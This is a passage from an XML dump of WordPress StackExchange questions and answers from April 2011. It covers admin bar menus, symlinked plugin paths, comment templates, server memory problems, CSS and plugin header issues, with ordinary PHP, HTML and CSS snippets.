:(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-20T15:30:07.003" Title="Creating new page/tab in groups section not working!" Tags="&lt;pages&gt;&lt;buddypress&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="15197" PostTypeId="1" AcceptedAnswerId="23427" CreationDate="2011-04-20T09:07:29.667" Score="1" ViewCount="50" Body="&lt;p&gt;I want to know all the classes and functions(individual .php files) in a wordpress installation that handle serialization and unserialization.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2011-07-19T10:57:05.283" Title="Classes and functions involved in serialization and unserialization" Tags="&lt;wp-options&gt;" AnswerCount="2" />
  <row Id="15198" PostTypeId="2" ParentId="15186" CreationDate="2011-04-20T09:09:32.643" Score="2" ViewCount="" Body="&lt;p&gt;It turns out to be very easy! No need for a special walker, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_get_nav_menu_items()&lt;/code&gt;&lt;/a&gt; returns everything you need. This example adds an single root menu item and then the menu, you can do this differently if you want. It maps all extra menu features I could find in the code, I don't know whether you can set them all in the menu UI.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_bar_menu', 'wpse15186_admin_bar_menu' );&#xA;function wpse15186_admin_bar_menu( &amp;amp;$wp_admin_bar )&#xA;{&#xA;    $menu = wp_get_nav_menu_object( 'WPSE 15186 test menu' );&#xA;    $menu_items = wp_get_nav_menu_items( $menu-&amp;gt;term_id );&#xA;&#xA;    $wp_admin_bar-&amp;gt;add_menu( array(&#xA;        'id' =&amp;gt; 'wpse15186-menu-0',&#xA;        'title' =&amp;gt; 'WPSE 15186 menu',&#xA;    ) );&#xA;&#xA;    foreach ( $menu_items as $menu_item ) {&#xA;        $wp_admin_bar-&amp;gt;add_menu( array(&#xA;            'id' =&amp;gt; 'wpse15186-menu-' . $menu_item-&amp;gt;ID,&#xA;            'parent' =&amp;gt; 'wpse15186-menu-' . $menu_item-&amp;gt;menu_item_parent,&#xA;            'title' =&amp;gt; $menu_item-&amp;gt;title,&#xA;            'href' =&amp;gt; $menu_item-&amp;gt;url,&#xA;            'meta' =&amp;gt; array(&#xA;                'title' =&amp;gt; $menu_item-&amp;gt;attr_title,&#xA;                'target' =&amp;gt; $menu_item-&amp;gt;target,&#xA;                'class' =&amp;gt; implode( ' ', $menu_item-&amp;gt;classes ),&#xA;            ),&#xA;        ) );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-20T09:09:32.643" CommentCount="4" />
  <row Id="15199" PostTypeId="2" ParentId="15197" CreationDate="2011-04-20T09:23:57.380" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://andrewnacin.com/2010/04/18/wordpress-serializing-data/&quot; rel=&quot;nofollow&quot;&gt;http://andrewnacin.com/2010/04/18/wordpress-serializing-data/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-20T09:23:57.380" CommentCount="1" />
  <row Id="15200" PostTypeId="1" CreationDate="2011-04-20T09:25:59.913" Score="1" ViewCount="95" Body="&lt;p&gt;I am constantly experiencing memory outages on my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server is forking and spawning new connections like crazy. I have a VPS with WHM installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the reply from my host:&#xA;&quot;The issue appears to be that your server is consistently hitting its memory resources. We've made adjustments already to the common causes such as your dns server spawning a thread for every CPU it sees on the new system, but I'd suggest you look into configuring your server a bit more to minimize memory usage. Your apache server's MaxClients setting seems to be fairly high as well, but was not able to weed through your configuration files to see where it is set.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I entered through shell and tweaked the httpd.conf file a million times changing Maxclients, MaxRequestsPerChild, and MaxKeepAliveRequests all to no avail&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am monitoring using TOP in WHM and the beancounter through putty (shell), and I see a ZILLION memory outages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely NO IDEA what is sucking up all this memory.&#xA;I have even gone through IP banning to see if robots were sucking up memory, but either I was unable to get the correct info or this is not the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IT/WP/PHP eprt neede BAD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="4785" LastActivityDate="2011-08-18T20:26:43.383" Title="Memory Outages - Need PHP/WP/IT expert" Tags="&lt;memory&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="15201" PostTypeId="2" ParentId="15179" CreationDate="2011-04-20T09:35:24.400" Score="4" ViewCount="" Body="&lt;p&gt;You really don’t need much.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A headline with id=comments&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 id=&quot;comments&quot;&amp;gt;&amp;lt;?php comments_number(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will be the target for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_link()&lt;/code&gt;&lt;/a&gt; in the article loop.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Links for paginated comments.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Usually, I put these links into a function and call the function above and below the comments list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class TTT_Template {&#xA;    function comment_pager()&#xA;    {&#xA;        if ( get_comment_pages_count() &amp;gt; 1 &amp;amp;&amp;amp; get_option( 'page_comments' ) )&#xA;        {&#xA;            ?&amp;gt;&#xA;            &amp;lt;div class=&quot;comment-navigation&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                previous_comments_link( 'Ältere Kommentare' );&#xA;                ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&#xA;                &amp;lt;?php&#xA;                next_comments_link( 'Neuere Kommentare' );&#xA;                ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;wp_list_comments()&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You may use a custom callback function, but you don’t have to. For a theme on wp.org I’d use gravatars in the callback. And I wouldn’t namespace it with &lt;code&gt;my_&lt;/code&gt;. ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;wp_list_comments(&#xA;    array (&#xA;        'type'     =&amp;gt; 'comment'&#xA;    ,   'style'    =&amp;gt; 'ul'&#xA;    ,   'callback' =&amp;gt; 'my_comment_callback'&#xA;    )&#xA;);&#xA;?&amp;gt;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the &lt;code&gt;type&lt;/code&gt; parameter allows you to separate normal comments from pings. See the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_comments&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt; for more information. If you build two separate lists, check  &lt;code&gt;get_option( 'default_ping_status' );&lt;/code&gt; to avoid an empty list.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;comment_form();&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You may use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;the default&lt;/a&gt; settings or add your own filters. I use a &lt;a href=&quot;https://gist.github.com/565997&quot; rel=&quot;nofollow&quot;&gt;custom class&lt;/a&gt; to move the textarea to top and rearrange some minor other things.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( comments_open( get_the_ID() ) )&#xA;{&#xA;    locate_template( array ( '/php/class.TTT_Comment_Form.php' ), TRUE, TRUE );&#xA;    $ttt_comment_class = new TTT_Comment_Form();&#xA;    comment_form();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that’s all.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Complete code&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( ! defined('ABSPATH') ) { die ('Nö.'); }&#xA;&#xA;if ( have_comments() )&#xA;{&#xA;    ?&amp;gt;&amp;lt;h2 id=&quot;comments&quot;&amp;gt;&amp;lt;?php comments_number(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;?php&#xA;    TTT_Template::comment_pager();&#xA;    ?&amp;gt;&#xA;    &amp;lt;ol class=&quot;commentlist&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    wp_list_comments(&#xA;array (&#xA;            'type'  =&amp;gt; 'comment'&#xA;        ,   'style' =&amp;gt; 'ul'&#xA;        ,   'callback' =&amp;gt; 'my_comment_callback'&#xA;    )&#xA;    );&#xA;    ?&amp;gt;&amp;lt;/ol&amp;gt;&#xA;    &amp;lt;?php&#xA;    TTT_Template::comment_pager();&#xA;}&#xA;&#xA;if ( comments_open( get_the_ID() ) )&#xA;{&#xA;    locate_template( array ( '/php/class.TTT_Comment_Form.php' ), TRUE, TRUE );&#xA;    $ttt_comment_class = new TTT_Comment_Form();&#xA;    comment_form();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-20T11:07:06.940" LastActivityDate="2011-04-20T11:07:06.940" CommentCount="2" />
  <row Id="15202" PostTypeId="1" CreationDate="2011-04-20T10:13:42.213" Score="4" ViewCount="158" Body="&lt;p&gt;When I develop plugins I test them on multiple versions of WordPress by symlinking my plugin directory in the different &lt;code&gt;wp-content&lt;/code&gt; directories. This is great since I only have to edit the files once, but it breaks an important construct to generate references to resources in my plugin: &lt;code&gt;__FILE__&lt;/code&gt; refers to the physical plugin location, not the one in &lt;code&gt;wp-content&lt;/code&gt;. How should I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directory structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/path/to/wordpress/development/dir/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;plugin-development/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;js/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer.js&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;versions/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;3.1/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer&lt;/code&gt; as a symlink to the above plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;3.1-multi-dir/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer&lt;/code&gt; as a symlink to the above plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;3.1-multi-domain/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp-content/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;plugins/&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;monkeyman-rewrite-analyzer&lt;/code&gt; as a symlink to the above plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I want to enqueue the Javascript file, I should use &lt;code&gt;plugins_url( 'monkeyman-rewrite-analyzer.js', [base file] )&lt;/code&gt;, but using &lt;code&gt;__FILE__&lt;/code&gt; here will not work, because the actual file path will be &lt;code&gt;/path/to/wordpress/development/dir/plugin-development/monkeyman-rewrite-analyzer/monkeyman-rewrite-analyzer.php&lt;/code&gt;, not &lt;code&gt;/path/to/wordpress/development/dir/versions/*/wp-content/plugins/monkeyman-rewrite-analyzer/monkeyman-rewrite-analyzer.php&lt;/code&gt;, so WordPress cannot strip the first part out and generate a URL relative to the WordPress installation.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-06-10T15:52:04.843" Title="Plugins in symlinked directories?" Tags="&lt;plugin-development&gt;&lt;best-practices&gt;" AnswerCount="3" />
  <row Id="15203" PostTypeId="2" ParentId="15202" CreationDate="2011-04-20T10:22:15.310" Score="0" ViewCount="" Body="&lt;p&gt;A comment in &lt;a href=&quot;http://bugs.php.net/bug.php?id=46260&quot; rel=&quot;nofollow&quot;&gt;bug 46260&lt;/a&gt; suggests to use &lt;code&gt;$_SERVER[&quot;SCRIPT_FILENAME&quot;]&lt;/code&gt; instead of &lt;code&gt;__FILE__&lt;/code&gt;. Does this work?&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-20T10:22:15.310" CommentCount="1" />
  <row Id="15204" PostTypeId="2" ParentId="15202" CreationDate="2011-04-20T10:22:37.090" Score="1" ViewCount="" Body="&lt;p&gt;I currently use a trick to get the WordPress-relative file location: &lt;code&gt;wp_get_active_and_valid_plugins()&lt;/code&gt; returns the file paths, and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-settings.php#L188&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_settings.php&lt;/code&gt; loops over them and includes the files&lt;/a&gt;. So the global &lt;code&gt;$plugin&lt;/code&gt; variable will refer to your current plugin (of course only when the plugin is loaded, so I save it in a prefixed global variable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$monkeyman_Rewrite_Analyzer_file = $plugin;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because plugins can also be loaded as must-use or network plugins and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-settings.php#L152&quot; rel=&quot;nofollow&quot;&gt;these loops use other variable names&lt;/a&gt;, the complete code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$monkeyman_Rewrite_Analyzer_file = __FILE__;&#xA;if ( isset( $mu_plugin ) ) {&#xA;    $monkeyman_Rewrite_Analyzer_file = $mu_plugin;&#xA;}&#xA;if ( isset( $network_plugin ) ) {&#xA;    $monkeyman_Rewrite_Analyzer_file = $network_plugin;&#xA;}&#xA;if ( isset( $plugin ) ) {&#xA;    $monkeyman_Rewrite_Analyzer_file = $plugin;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fallback is still &lt;code&gt;__FILE__&lt;/code&gt;, so if someone changes the loop variable name in the future my code should still work for 99% of all installations, only my development setup will fail and I can release a new version with ease.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-20T10:22:37.090" />
  <row Id="15205" PostTypeId="2" ParentId="15202" CreationDate="2011-04-20T10:56:36.623" Score="1" ViewCount="" Body="&lt;p&gt;The problem can partially be addressed with a must-use plugin hooking into the 'plugins_url' filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It won't handle all other cases where plugin_basename() is used, such as register_activation_hook() and co.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16953&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16953&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-10T15:52:04.843" LastActivityDate="2011-06-10T15:52:04.843" CommentCount="6" />
  <row Id="15206" PostTypeId="2" ParentId="9776" CreationDate="2011-04-20T11:03:29.190" Score="2" ViewCount="" Body="&lt;p&gt;'meta_query' is what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://scribu.net/wordpress/advanced-metadata-queries.html&quot; rel=&quot;nofollow&quot;&gt;http://scribu.net/wordpress/advanced-metadata-queries.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-20T11:03:29.190" />
  <row Id="15207" PostTypeId="1" AcceptedAnswerId="15214" CreationDate="2011-04-20T11:29:10.357" Score="0" ViewCount="89" Body="&lt;p&gt;Question is simple. Can i get the title and main url of the site from where the posts are loading? Actually i want to linked to the main site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url can be found by wordpress function esc_url(); function but what about site title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://citystir.com/author/designdons/&quot; rel=&quot;nofollow&quot;&gt;http://citystir.com/author/designdons/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3094" LastActivityDate="2011-04-20T13:22:24.383" Title="Showing RSS feed via fetch_feed. How to show the site title of the feed?" Tags="&lt;rss&gt;&lt;title&gt;&lt;fetch-feed&gt;" AnswerCount="1" />
  <row Id="15208" PostTypeId="2" ParentId="119" CreationDate="2011-04-20T11:45:53.303" Score="0" ViewCount="" Body="&lt;p&gt;Another paying solution: the Xtreme One theme framework &lt;a href=&quot;http://xtreme-theme.com/2011/04/xtreme-one-1-2/&quot; rel=&quot;nofollow&quot;&gt;released version 1.2&lt;/a&gt; with &lt;a href=&quot;http://documentation.xtreme-theme.com/xtreme-backup/&quot; rel=&quot;nofollow&quot;&gt;Xtreme Backup&lt;/a&gt; which allows you to &lt;em&gt;&quot;export or import the settings of your Childthemes, Layouts or Widgets with all their settings/content as XML file.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-20T11:45:53.303" />
  <row Id="15209" PostTypeId="1" AcceptedAnswerId="15809" CreationDate="2011-04-20T12:25:44.470" Score="0" ViewCount="173" Body="&lt;p&gt;I have migrated my blog from blogspot to WordPress. Then I have noticed many of the posts contain duplicate custom fields. Like blogger_author, blogger_permalink, blogger_blog are duplicated upto 5 times. How can I remove the duplicate Custom Fields?&lt;/p&gt;&#xA;" OwnerUserId="4789" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-28T07:47:00.623" LastActivityDate="2011-04-28T07:47:00.623" Title="How to remove duplicate Custom Fields?" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="15210" PostTypeId="1" AcceptedAnswerId="15275" CreationDate="2011-04-20T13:03:54.333" Score="0" ViewCount="129" Body="&lt;p&gt;I am pretty new to web design, so this is a perplexing problem to me. I am creating a floating social media share button to the left of my content that scrolls with the blog content. Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;floating-menu-blog&quot; style=&quot;opacity:0.3;filter:alpha(opacity=30)&quot;&#xA;onmouseover=&quot;this.style.opacity=1;this.filters.alpha.opacity=100&quot;&#xA;onmouseout=&quot;this.style.opacity=0.3;this.filters.alpha.opacity=30&quot;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;float-title&quot;&amp;gt;&#xA;&amp;lt;iframe src=&quot;http://platform.twitter.com/widgets/tweet_button.html?url=&amp;lt;?php echo      rawurlencode(get_permalink()) ?&amp;gt;&amp;amp;amp;text=&amp;lt;?php echo  rawurlencode(strip_tags(get_the_title())) ?&amp;gt;&amp;amp;amp;count=vertical&quot; style=&quot;width:55px;  height:62px;&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div class=&quot;float-title&quot;&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;var fbShare = {&#xA;url: &amp;lt;?php the_permalink() ?&amp;gt;,&#xA;size: 'large',&#xA;badge_text: 'fff',&#xA;badge_color: '3b5998',&#xA;google_analytics: 'true'&#xA;}&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://widgets.fbshare.me/files/fbshare.js&quot;&amp;gt;      &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is what is in my css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*float social media buttons*/&#xA;#floating-menu-blog {background-color:#fff;border:1px solid #ccc;position: fixed; left: 50%; top: 342px; margin-left:-554px; z-index:100;}&#xA;#floating-menu .float-title{padding:1px 3px;}&#xA;#floating-menu .float-title a{color:#000;text-decoration:none}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, on the site, the css is not being applied at all. I cleared all caches and disabled w3total cache to make sure that wasn't the issue. I have no clue what the issue is as it was working a week ago and I really haven't changed anything in relation to this code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please let me know if I can provide more info. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="919" LastActivityDate="2011-04-20T23:27:20.343" Title="CSS not being applied" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="9" />
  <row Id="15211" PostTypeId="1" AcceptedAnswerId="15212" CreationDate="2011-04-20T13:05:03.973" Score="0" ViewCount="146" Body="&lt;p&gt;About 60% of plugins that I install don't show up in my plugins section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I install them it says they're installed, and when I click &quot;activate plugin&quot; it says theres no valid header for the plugin. Navigating to the main plugin section in the dashboard the plugin doesn't show up at all, so I can't activate it from the main plugin page either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong here. I'm not using the multi-site wordpress, just a standard wordpress installation with buddypress on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-20T13:11:01.900" Title="Plugins not showing in dashboard-&gt;plugins section" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="15212" PostTypeId="2" ParentId="15211" CreationDate="2011-04-20T13:10:07.417" Score="2" ViewCount="" Body="&lt;p&gt;Download the plugin as a zip, extract and manually upload the folder that immediately parents all the .php files (i.e not a folder that has another folder as its child) into you plugin folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes dev's can zip things within an extra folder, which confuses wordpress.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-20T13:10:07.417" CommentCount="1" />
  <row Id="15213" PostTypeId="2" ParentId="15211" CreationDate="2011-04-20T13:11:01.900" Score="0" ViewCount="" Body="&lt;p&gt;Per the WordPress Codex on plugin development, on &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin#File_Headers&quot; rel=&quot;nofollow&quot;&gt;File Headers&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The top of your Plugin's main PHP file&#xA;  must contain a standard Plugin&#xA;  information header. This header lets&#xA;  WordPress recognize that your Plugin&#xA;  exists, add it to the Plugin&#xA;  management screen so it can be&#xA;  activated, load it, and run its&#xA;  functions; without the header, your&#xA;  Plugin will never be activated and&#xA;  will never run. Here is the header&#xA;  format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Name Of The Plugin&#xA;Plugin URI: http://URI_Of_Page_Describing_Plugin_and_Updates&#xA;Description: A brief description of the Plugin.&#xA;Version: The Plugin's Version Number, e.g.: 1.0&#xA;Author: Name Of The Plugin Author&#xA;Author URI: http://URI_Of_The_Plugin_Author&#xA;License: A &quot;Slug&quot; license name e.g. GPL2&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The minimum information WordPress&#xA;  needs to recognize your Plugin is the&#xA;  Plugin Name line.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I had to guess, I'd say the problem is that the &lt;code&gt;Plugin Name&lt;/code&gt; header is missing from the top of the plugin's main file. Not knowing what plugins you're using, this is the most complete answer I can give right now.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I should add that in order for a file to be checked for headers, it must be a &lt;code&gt;.php&lt;/code&gt; file either in the plugins directory or in a subdirectory of the plugins directory. So, for example, &lt;code&gt;wp-content/plugins/plugin.php&lt;/code&gt; and &lt;code&gt;wp-content/plugins/my-plugin/plugin.php&lt;/code&gt; would be valid, but &lt;code&gt;wp-content/plugins/my-plugin/lib/file.php&lt;/code&gt; would not.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-20T13:11:01.900" />
  <row Id="15214" PostTypeId="2" ParentId="15207" CreationDate="2011-04-20T13:22:24.383" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$feed = fetch_feed($feedurl);&#xA;$channel = $feed-&amp;gt;channel;&#xA;$blog_title = $channel[&quot;title&quot;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note - I haven't tested this, am relying on my (faulty) memory.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-20T13:22:24.383" CommentCount="5" />
  <row Id="15217" PostTypeId="1" CreationDate="2011-04-20T14:26:36.023" Score="0" ViewCount="82" Body="&lt;p&gt;I'm seeking advice on the best way to construct a pdf repository. &#xA;basically there will an uploader in the admin section and in the front end. the user should be allowed to add tags to the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i guess i need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;front-end uploader&#xA;backend-uploader&#xA;custom-post type?&#xA;security to check the pdfs and not just upload anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;what else am i missing?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-04-20T14:26:36.023" Title="how to build a pdf repository in wordpress" Tags="&lt;page-template&gt;&lt;pdf&gt;" />
  <row Id="15218" PostTypeId="1" CreationDate="2011-04-20T14:40:19.747" Score="0" ViewCount="61" Body="&lt;p&gt;I like to hardcode everything on my WordPress websites, without using any plugins. Is there any way to generate or update my sitemap everytime I publish/update a post on one of my Multisite blogs, without using plugins?&lt;/p&gt;&#xA;" OwnerUserId="3195" LastActivityDate="2011-04-20T14:40:19.747" Title="How to generate/update a XML sitemap without plugins?" Tags="&lt;plugins&gt;&lt;sitemap&gt;&lt;hacks&gt;" />
  <row Id="15220" PostTypeId="2" ParentId="12613" CreationDate="2011-04-20T15:18:48.760" Score="0" ViewCount="" Body="&lt;p&gt;You can add &lt;a href=&quot;http://developers.facebook.com/docs/opengraph/&quot; rel=&quot;nofollow&quot;&gt;Open Graph tags&lt;/a&gt; to your templates hint to Facebook for what images and text to use.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-04-20T15:18:48.760" />
